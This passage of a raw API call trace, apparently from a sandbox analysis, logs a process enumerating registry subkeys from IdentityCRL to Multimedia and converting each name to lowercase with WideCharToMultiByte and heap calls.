| out: lpName="IdentityCRL") returned 0x0 [0193.613] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.614] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0xd3b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xd3c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.614] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0xd3b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xd3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.614] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0xd3b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0193.614] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.614] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.614] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0xd3b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xd3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.615] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0xd3b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.615] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0xd3b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xd3c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.615] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0xd3b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xd3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0193.615] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.615] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.616] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.616] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0xd3b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xd3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.616] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.616] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.616] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.616] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0xd3b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.616] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.616] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.616] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.616] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0xd3b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.616] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xd3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0193.616] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0xd3b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xd3c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0193.616] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0xd3b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0193.617] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0xd3b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xd3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0193.617] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0xd3b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xd3c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0193.617] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0xd3b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xd3c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0193.617] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0xd3b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xd3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0193.617] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0xd3b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xd3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0193.617] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0xd3b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0193.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xd3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0193.618] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0xd3b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0193.618] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0xd3b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xd3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0193.618] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0xd3b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0193.618] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0xd3b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0193.618] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0xd3b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xd3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0193.618] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0xd3b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xd3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0193.619] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0xd3b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0193.619] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0xd3b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0193.619] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0xd3b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xd3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0193.619] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0xd3b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0193.619] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0xd3b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xd3c0d8, cbMultiByte=10, 